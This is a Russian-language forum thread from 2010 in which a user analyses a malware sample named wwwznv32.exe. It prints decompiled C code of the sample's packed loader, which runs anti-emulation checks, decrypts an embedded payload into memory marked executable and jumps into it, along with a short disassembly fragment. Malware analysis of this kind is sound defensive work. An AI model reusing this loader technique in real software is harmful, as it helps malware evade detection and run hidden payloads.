Показано с 1 по 2 из 2.

wwwznv32.exe

  1. #1
    Full Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для Nerimash
    Регистрация
    27.09.2009
    Адрес
    Ternopil
    Сообщений
    258
    Вес репутации
    130

    wwwznv32.exe

    Даный файл написан на MS VC ++, упакован.

    ПРи запуске создает событие (event) : 1431198812, bManualReset = true, bInitialState = true; что означает что даное событие имеет цыклический характер и управляется внутри программы. При успешном выполнении функции создания события, код переходит к инструкции завершения.

    Если GetLastError == 161(ERROR_BAD_PATHNAME) то делается попытка уничтожить интерфейс обьекта(CoGetCancelObject(0, 0, 0xFFFFFFFF). Если операция выполняется успешно то код переходит по инструкции завершения. В противном случае будет сделана попытка его создания.

    Код:
    #include <windows.h>
    #include <defs.h>
    
    
    //-------------------------------------------------------------------------
    // Data declarations
    
    extern _UNKNOWN unk_40D0D4; // weak
    extern _UNKNOWN unk_414000; // weak
    
    //-------------------------------------------------------------------------
    // Function declarations
    
    // BOOL __stdcall VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
    // HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName);
    // LONG __stdcall InterlockedExchangeAdd(volatile LONG *Addend, LONG Value);
    // DWORD __stdcall GetLastError();
    // LPVOID __stdcall CoTaskMemAlloc(SIZE_T cb);
    // HRESULT __stdcall CoGetCancelObject(DWORD dwThreadId, const IID *const iid, void **ppUnk);
    void __stdcall sub_413000(int a1, int a2, unsigned int a3, int a4);
    int __cdecl start();
    
    
    //----- (00413000) --------------------------------------------------------
    void __stdcall sub_413000(int a1, int a2, unsigned int a3, int a4)
    {
      unsigned int i; // [sp+0h] [bp-8h]@1
      int v5; // [sp+4h] [bp-4h]@1
    
      v5 = 0;
      for ( i = 0; i < a3; ++i )
      {
        *(_BYTE *)(i + a1) = *(_BYTE *)(i + a2) - *(_BYTE *)(v5++ + a4);
        if ( v5 == 1 )
          v5 = 0;
      }
    }
    
    //----- (00413062) --------------------------------------------------------
    int __cdecl start()
    {
      unsigned int v1; // [sp-8h] [bp-1C8h]@1
      volatile LONG v2; // [sp-4h] [bp-1C4h]@1
      DWORD flOldProtect; // [sp+14h] [bp-1ACh]@3
      char v4; // [sp+18h] [bp-1A8h]@3
      unsigned int v5; // [sp+24h] [bp-19Ch]@6
      volatile LONG Addend; // [sp+198h] [bp-28h]@1
      SIZE_T dwSize; // [sp+19Ch] [bp-24h]@3
      volatile LONG v8; // [sp+1A0h] [bp-20h]@3
      char *v9; // [sp+1A4h] [bp-1Ch]@3
      int v10; // [sp+1A8h] [bp-18h]@3
      char *v11; // [sp+1ACh] [bp-14h]@6
      char *v12; // [sp+1B0h] [bp-10h]@3
      int v13; // [sp+1B4h] [bp-Ch]@3
      LPVOID lpAddress; // [sp+1B8h] [bp-8h]@3
      unsigned int v15; // [sp+1BCh] [bp-4h]@3
    
      Addend = 0;
      v2 = 19532;
      v1 = 1431198812;
      CreateEventA(0, -1, -1, (LPCSTR)&v1);
      if ( GetLastError() == 161 )
      {
        if ( CoGetCancelObject(0, 0, (void **)0xFFFFFFFF) == -2147417826 )
        {
          v13 = (int)&unk_40D0D4;
          v15 = 0;
          v12 = &v4;
          Addend = 0;
          InterlockedExchangeAdd(&Addend, (LONG)&unk_414000);
          v9 = v12 + 16;
          v15 ^= 0x38u;
          sub_413000((int)&v4, v13, v15, Addend);
          dwSize = *(_DWORD *)v12 + *((_DWORD *)v12 + 1);
          lpAddress = CoTaskMemAlloc(dwSize);
          VirtualProtect(lpAddress, dwSize, 0x40u, &flOldProtect);
          v8 = 4194304;
          v10 = 0;
          flOldProtect = 0;
          while ( flOldProtect < *((_DWORD *)v12 + 2) )
          {
            v2 = Addend;
            v1 = *((_DWORD *)v9 + 1);
            sub_413000((int)((char *)lpAddress + v10), *(_DWORD *)v9 + v8, v1, Addend);
            v10 += *((_DWORD *)v9 + 1);
            ++flOldProtect;
            v9 += 8;
          }
          v2 = v8;
          v11 = (char *)lpAddress + 5776;
          v1 = v5;
          ((void (__stdcall *)(char *, unsigned int))((char *)lpAddress + 5776))(
            (char *)lpAddress + *((_DWORD *)v12 + 1),
            v5);
        }
      }
      return 0;
    }
    Добавлено через 3 часа 31 минуту

    Пока что на Win2k8 Standart Server i386 пациент всячески косячит и вешает систему. Для дальнейших исследований буду искать ОС по старше.
    Последний раз редактировалось Nerimash; 18.07.2010 в 15:39. Причина: Добавлено

  2. Реклама
     

  3. #2
    Full Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для Nerimash
    Регистрация
    27.09.2009
    Адрес
    Ternopil
    Сообщений
    258
    Вес репутации
    130
    Сам по себе первый файл из карантина служыт каким-то чекером который проверяет успешную инсталяцию обьекта в системе.После первого запуска и распаковки обьекта в систему код после проверки инструкции CoCancelObject сразу перемешается на завершение процесса
    Код:
    TEXT:004131BA           XOR EAX,EAX
    TEXT:004131BC           LEAVE
    TEXT:004131BD           RETN

Похожие темы

  1. wwwznv32.exe
    От homiake в разделе Помогите!
    Ответов: 13
    Последнее сообщение: 10.08.2010, 23:22
  2. wwwznv32.exe
    От Nktee в разделе Помогите!
    Ответов: 25
    Последнее сообщение: 22.07.2010, 11:32
  3. wwwznv32.exe =(((
    От таточка в разделе Помогите!
    Ответов: 10
    Последнее сообщение: 21.07.2010, 16:05
  4. wwwznv32
    От zipa в разделе Помогите!
    Ответов: 7
    Последнее сообщение: 19.07.2010, 19:46
  5. wwwznv32.exe
    От Рокер в разделе Помогите!
    Ответов: 3
    Последнее сообщение: 19.07.2010, 16:14

Свернуть/Развернуть Ваши права в разделе

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Page generated in 0.00054 seconds with 17 queries